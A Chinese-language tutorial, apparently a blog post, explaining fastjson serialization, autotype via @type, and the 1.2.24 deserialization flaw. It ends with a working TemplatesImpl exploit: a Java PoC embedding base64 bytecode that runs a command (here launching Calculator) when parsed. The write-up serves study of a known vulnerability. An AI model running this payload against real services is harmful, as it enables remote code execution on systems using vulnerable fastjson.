前言

在学fastjson之前,先来说下JSON

JSON是一种轻量级的数据交换格式,可以跨语言,JSON JS 对象的字符串表示法,它使用文本表示一个 JS 对象。在平常应用里,经常会遇到JSON与字符串互相转换、解析,可以说是标准的数据交换格式。

Fastjson介绍

fastjson是阿里巴巴的开源Json解析库,它可以解析Json格式的字符串,快速将JsonJava Bean对象相互转换,相当于就是一个JSON处理器,可以将Java Bean对象序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean对象

它有三个关键方法:

  • 将对象转换成JSON字符串:JSON.toJSONString
  • JSON字符串转换成对象:JSON.parse和JSON.parseObject()

在利用toJSONString来序列化对象的时候,这个方法里有很多的重载方法,常用的有:

com.alibaba.fastjson.serializer.SerializerFeature,其中的WriteClassName属性可以在序列化时写入类型信息。

com.alibaba.fastjson.serializer.SerializeFilter,序列化过滤器,是一个接口,通过配置其子接口或实现类就可以实现定制序列化

com.alibaba.fastjson.serializer.SerializeConfig可以添加特点类型自定义的序列化配置

DEMO

序列化

这里看一个demo,先添加一段依赖

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

然后随便写一个Java Bean

public class test {
    private String name ="c1oud";
    public int age = 15;

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public int getAge() {
        System.out.println("调用了getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setAge");
        this.age = age;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }
}

然后创建这个对象,并且使用fastjson中的toJSONString把他序列化为JSON格式

public static final String toJSONString(Object object); // 将JavaBean序列化为JSON文本 
public static final String toJSONString(Object object, boolean prettyFormat); // 将JavaBean序列化为带格式的JSON文本 
import com.alibaba.fastjson.JSON;

public class ser {
    public static void main(String args[]){
        test a = new test();
        String Json = JSON.toJSONString(a);
        System.out.println(Json);
    }
}

可以看到,调用JSON.toJSONString其实是调用了类的getter方法的,调试跟一下也是可以看到的。

除了这样序列化以外,还可以在toJSONString方法后面加一个SerializerFeature.WriteClassName参数,这样序列化后会多写入一个@type,即写上被序列化的类名(有包的话,输出的会是 包名.类名的格式):

String Json = JSON.toJSONString(a, SerializerFeature.WriteClassName);
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class ser {
    public static void main(String args[]){
        test a = new test();
        String Json = JSON.toJSONString(a, SerializerFeature.WriteClassName);
        System.out.println(Json);
    }
}

反序列化

接着来看看JSON字符串转化为JAVA对象

fastjson用于反序列化的函数主要是下面两个:parse和parseObject

public static final Object parse(String text); // 把JSON文本parse为JSONObject或者类对象 

先来看看toJSONString中只有一个参数序列化后再反序列化的情况

再来看看toJSONString有两个参数序列化后再反序列化后的情况

可以发现如果不带上@type指明类名,是没法得到类对象的。得到的是Jsonobject

如果指明了类名,使用parse的时候,不仅会得到类对象,还会调用这个对象的setter方法

但是为什么指明了类名序列化后再反序列化得到的类对象是test@46ee7fe8呢,@前面是类名好理解,后面这个是什么呢? 其实是因为所有的类都直接或者间接继承自object,你在你的类里面没有写toString,他就会默认执行object里面的指定代码,这只是object类中tostring的写法是这样而已。


接着看第二个反序列化的函数parseObject

public static final JSONObject parseObject(String text); // 把JSON文本parse成JSONObject 

public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    if (obj instanceof JSONObject) {
        return (JSONObject)obj;
    } else {
        try {
            return (JSONObject)toJSON(obj);
        } catch (RuntimeException var3) {
            throw new JSONException("can not cast to JSONObject.", var3);
        }
    }
}

其实看源码可以知道,parseObject其实就是调用一次parse,然后转换成JSONObject

还是先看toJSONString中只有一个参数序列化后再反序列化的情况

这个的返回值和parse第一种情况一样,都是一个JSONObject对象,接着看看toJSONString有两个参数序列化后再反序列化后的情况

可以看到它也得到了类对象,还调用了settergetter方法。这个是重点,后面还会提到,先继续看

这里parseObject还有另一种用法,当没有指定@type,但又想反序列化成指定的类对象时,则需要通过parseObject同时传入该类的class对象才能反序列化成指定的对象。也就是说第二个参数是我们手动控制用来转化类型的类对象

public static final <T> T parseObject(String text, Class<T> clazz); // 把JSON文本parse为JavaBean 

可以看到这里其实也除了返回类对象,只调用了setter方法。

简单总结一下:其实也就是在引入@type后,parse成功触发了setter方法,parseObject则成功触发了settergetter方法

漏洞出现

这里再来看刚刚我们提到是重点的地方:

fastjson中,有一个autotype功能,只要json的字符串中有@type属性,那么它的值就会被反序列化成指定的类型;如果使用的是parseObject进行反序列化的话,同时还会调用settergetter方法。

看到这个调用settergetter的机制,很容易想到之前Commons Beanutils文章里的PropertyUtils.getProperty()方法,让它会调用对应属性的getter方法,也就是要调用到TemplatesImpl#getOutputProperties()方法,以此一步一步到最后加载字节码来rce

但是如果此时如果目标类里没有setter方法,但又想在反序列化时给变量赋值,那该怎么做呢?
实际上用当成员变量声明为public的时候,也是可以调用的,这里我们把age属性设置为public,name属性设置为private来看看测试结果

Test类

public class test {
    private String name ="c1oud";
    public int age = 15;

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public int getAge() {
        System.out.println("调用了getAge");
        return age;
    }

//    public void setAge(int age) {
//        System.out.println("调用了setAge");
//        this.age = age;
//    }

//    public void setName(String name) {
//        System.out.println("调用了setName");
//        this.name = name;
//    }
}

反序列化类ser

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class ser {
    public static void main(String args[]){
        String str = "{\"age\":18,\"name\":\"c1\"}";
        System.out.println("反序列化:");
        System.out.println(JSON.parseObject(str,test.class));
        System.out.println(JSON.parseObject(str,test.class).getName());
        System.out.println(JSON.parseObject(str,test.class).getAge());

    }
}

可以看到由于只有age属性是public,所以age可以赋新的值;nameprivate,所以只能是之前的值,我们想反序列化的c1并没有写进去。

但是这里存在一个问题,如果成员变量设为public属性,就不是javabean了,并且开发人员开发javabean的时候,里面更不会有public属性了,那还有什么方法能解决上面的问题呢?

其实只需要在parseObject里再提供一个Feature.SupportNonPublicField参数即可:

JSON.parseObject(str,test.class, Feature.SupportNonPublicField)
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class ser {
    public static void main(String args[]){
        String str = "{\"age\":18,\"name\":\"c1\"}";
        System.out.println("反序列化:");
        System.out.println(JSON.parseObject(str,test.class, Feature.SupportNonPublicField));
        System.out.println(JSON.parseObject(str,test.class,Feature.SupportNonPublicField).getName());
        System.out.println(JSON.parseObject(str,test.class,Feature.SupportNonPublicField).getAge());

    }
}

可以看到这样的话,private属性的name就被我们重新赋值写进去了。

Fastjson1.2.24的Gadgets

在实际应用里,基本是不会出现直接给恶意类来利用的,所以在这个版本要想利用的话,有这两条链子:

  • TemplatesImpl
  • JNDI注入

先来看下TemplatesImpl的利用链:

TemplatesImpl Gadgets

之前说了,只要调用到TemplatesImpl#getOutputProperties()这个getter方法,后面的链子就和之前分析CB链一样的了,所以在这里的目的是要调用到getOutputProperties()方法

回顾一下TemplatesImpl加载字节码需要的几个条件

  • _bytecodes:由字节码组成的数组,用来存放恶意代码,其值不能为null,且父类是AbstractTranslet
  • _name:为任意字符串,只要不是null就可以让恶意链连起来
  • _tfactory:需要一个TransformerFactoryImpl对象

还要注意,因为这不是反序列化java的序列化对象,所以这里没法用反射得到私有变量并为其赋值,所以:

  • 由于_name属性和_tfactory属性都是私有属性,并且没有setter方法,所以需要用Feature.SupportNonPublicField参数来为其赋值

写出poc:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Evil {
    public static void main(String[] args) throws Exception{
        String code = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQ" +
                "EAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW" +
                "50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcH" +
                "Rpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaG" +
                "UveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX" +
                "plci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAxhbm90aGVyLmphdmEMAA" +
                "4ADwcAHAwAHQAeAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg" +
                "wAHwAgAQAHYW5vdGhlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VH" +
                "JhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2" +
                "xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZX" +
                "hlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAw" +
                "AAAAGxAAAAAQAKAAAABgABAAAACQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAA" +
                "QAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADQAEAA4ADQAPAAsAAAAEAAEAEA" +
                "ABABEAAAACABI=";
        String str = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_name\":\"o3\"," +
                "\"_tfactory\":{}," +
                "\"_bytecodes\":[\""+code+"\"]," +
                "\"_outputProperties\":{}}";
        //JSON.parseObject(str);
        //System.out.println(JSON.parseObject(str));
        System.out.println(str);
        JSON.parseObject(str,Feature.SupportNonPublicField);
    }
}

参考文章

http://arsenetang.com/2022/03/26/Java篇之fastjson反序列化/
https://blog.csdn.net/rfrder/article/details/123216053